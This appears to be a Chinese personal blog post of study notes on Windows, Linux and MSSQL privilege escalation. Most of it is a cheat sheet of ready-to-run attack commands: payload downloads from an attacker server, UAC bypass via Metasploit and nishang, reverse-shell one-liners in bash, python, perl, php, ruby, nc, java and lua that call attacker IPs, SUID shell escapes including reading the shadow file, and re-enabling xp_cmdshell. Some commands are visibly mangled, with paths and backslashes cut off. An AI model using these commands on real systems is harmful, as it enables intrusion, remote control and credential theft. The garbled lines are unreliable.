• 2019-12-13:提权学习,笔记


    提权
    没有管理员权限就无法完成的一些事情:
    · 注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
    · 加载设备驱动程序
    · DLL注入
    · 修改系统时间(时钟)
    · 修改用户帐户控制设置(通过注册表,可以启用/禁用它,但你需要正确的权限才能执行此操作)
    · 修改受保护的目录(例如Windows文件夹,Program Files)
    · 计划任务(例如,以管理员权限自动启动)

    本地溢出
    windows系统提权,首先收集补丁信息,
    systeminfo>C:WindowsTemp emp.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:WindowsTemp emp.txt| @find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:WindowsTemp emp.txt
    执行exp的方式
    1,先去执行exp.exe然后执行whoami
    2,执行exp.exe能够直接添加管理员账号
    3,执行exp.exe “系统命令”

    寻找文件
    dir /b /s *.exe
    tasklist
    taskkill /F /PID pid
    netstat -ano
    net start 服务名
    net stop 服务名/pid

    上传方式
    vbs上传
    cscript -dw.vbs http://url C://某文件夹
    bitsadmin 上传
    bitsadmin /transfer myjob1 /download /priority normal "http://hackerserver/xx.exe 某POC" "d:calc.exe目标服务器可写目录"
    powershell上传
    powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('https://www.baidu.com/index.html POC的URL','C:index.html存储路径')

    dll注入提权(LPK劫持提权)
    T00ls Lpk Sethc v4.0.exe lpk.dll劫持文件自定义生成工具。先设置好按键,将后门dll埋入会调用的程序之中,等待触发,提权成功
    UAC用户账户控制
    UAC
    0级别--不起作用,始终不通知
    1级别--比默认级别稍低的级别,仅当尝试更改计算机时通知,当我对windows设置进行更改时不要通知我
    2级别--默认级别,仅当应用尝试更改我的计算机时候通知我,当我对windows设置进行更改时不要通知我
    3级别--最高安全级别,应用视图安装软件或更改我的计算机,我更改了windows设置是,始终通知我
    如何bypass UAC
    使用msf去绕过uac,首先需要获取一个普通账户的merterpreter,getuid查看当前用户的权限,getsystem帮助提权到system权限
    msf命令:background不退出session后退

    nc -lvv -l -p 1234 > 路径/文件名 ,使用nc将接收到的数据重定向到一个路径
    nc -d 目标ip:端口 < 脚本文件,将脚本文件的数据传入NC,通过NC传送到目标IP机器

    使用Powershell bypass UAC
    后渗透测试框架:nishang,Escalation目录有Invoke-PsUACme文件来Bypass UAC
    Invoke-PsUACme -verbose
    Invoke-PsUACme -oobe -verbose

    linux提权
    得到shell之后先查看linux系统内核,uname -a, cat /etc/issue , cat /proc/version,都可以查看Linux系统内核版本,发布版本
    判断出内核版本自后,就去找exp,然后上传并编译执行,编译gcc exp.c -o exp文件名,
    或者有的要加编译选项,gcc -pthread dirty.c -o dirty -lcrypt

    弹shell
    1、bash -i >& /dev/tcp/10.0.0.1/8080 0>&1(每个符号是什么意思?)
    2、python
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.1",8999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    3、perl
    perl -e 'use Socket;$i="192.168.40.1";$p=8999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin -i");};'
    4、php
    php -r '$sock=fsockopen("192.168.40.1",8999);exec("/bin -i <&3 >&3 2>&3");'
    5、ruby -rsocket -e 'f=TCPSocket.open("192.168.40.1",1234).to_i;exec sprintf("/bin -i <&%d >&%d 2>&%d",f,f,f)'
    6、nc
    有-e 模式:nc -e /bin 192.168.40.1 1234
    无-e 模式:
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin -i 2>&1|nc 192.168.40.1 1234 >/tmp/f(FIFO文件)
    python -c 'import pty; pty.spawn("/bin/bash")'
    7、java
    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.40.1/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
    p.waitFor()
    8、lua
    lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.40.1','1234');os.execute('/bin -i <&3 >&3 2>&3');"
    9、不使用nc来反弹shell
    nc -nvlp 8080
    (1)/bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
    (2)mknod backpipe p && telnet 192.168.40.1 1234 0<backpipe | /bin/bash 1>backpipe
    (3)telnet 192.168.40.1 1234 | /bin/bash | telnet 192.168.40.1 2345 (需要在攻击者PC上监听两个端口:1234 2345,1234 输入命令, 2345 输出)

    SUID提权
    chmod +x /bin/ls
    s权限 普通账号执行某些文件时,具有该文件所有的权限
    以下三条为查询哪些文件有s权限
    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} ;

    bash -p 直接提权
    vim vim.tiny 进入编辑器,编辑器下按冒号进入底部命令模式,输入 set shell=bin/sh 或 bin/bash回车,设置要使用的shell,之后底部命令模式输入shell,进入shell,提权成功
    find find 文件名 -exec 命令 ;
    more ls -l /bin/more
    more more /etc/passwd 没有看完,在底部输入!叹号,然后输入 /bin/sh,提权成功
    less 本来!/bin/sh是无法切换的,利用less 读取一个无法显示完整,输入感叹后,然后输入 bin/sh,提权成功
    man man一个文件,输入叹号!/bin/bash,提权成功
    cp/mv复制一个shadow passwd文件到可写目录,在文件下按照格式写入账户信息,cp回之前目录
    python有s权限,可以先进入python环境,import os; os.system(/bin/bash),也提权成功
    perl,进入perl语言里,输入exec "/bin/sh"
    awk , aws'BEGIN{system("/bin/sh")}'
    tcpdump ,首先 echo $'id cat /etcadow' > /tmp/.test ,然后chmod +x /tmp/.test ,最后sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root,提权成功
    等有s权限的命令都可以用SUID提权

    scp 使用
    两台机器IP分别为:A.104.238.161.75,B.43.224.34.73。
    在A服务器上操作,将B服务器上/home/lk/目录下所有的文件全部复制到本地的/root目录下,命令为:scp -r root@43.224.34.73:/home/lk /root。
    在A服务器上将/root/lk目录下所有的文件传输到B的/home/lkfile目录下,命令为:scp -r /root/lk root@43.224.34.73:/home/lkfile。
    strings命令 在对象文件或二进制文件中查找可打印的字符串。

    数据库提权
    mssql
    需要账号和密码,数据库服务器的ip和端口
    连接工具,Navicat Premium 12、sql tools、大马、小马等
    提权步骤
    1,连接数据库,信息收集,select name from master.dbo.sysdatabases,获取所有数据库名,select @@version了解数据库版本
    2,验证数据库权限,验证连接的账号权限,select IS_SRVROLEMEMBER('sysadmin')是否是sa账户,select IS_SRVROLEMEMBER('db_owner')验证数据库所有者, select IS_SRVROLEMEMBER('public'),验证是否开启了远程连接
    3,查看数据库是否有xp_cmdshell扩展存储过程插件,select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell',返回值是1,说明有这个插件,xp_dirtree列目录插件
    4,尝试使用插件,exec master..xp_cmdshell 'whoami' exec master..xp_dirtree '路径'
    5,如果关闭了xp_cmdshell的话,恢复扩展存储过程,sp_configure 'show advanced options',1;reconfigure;sp_configure 'xp_cmdshell',1;reconfigure

  • 相关阅读:
    每日一练ACM 2019.0417
    每日一练ACM 2019.0416
    每日一练ACM 2019.04.13
    每日一练ACM 2019.04.14
    创建线程的方法
    类和对象的概念
    接口的概念
    Mysql添加取消自增属性
    SpringMVC不支持PUT表单提交
    SSM框架整合报org.springframework.beans.factory.NoSuchBeanDefinitionException
  • 原文地址:https://www.cnblogs.com/sym945/p/12032979.html
Copyright © 2020-2023  润新知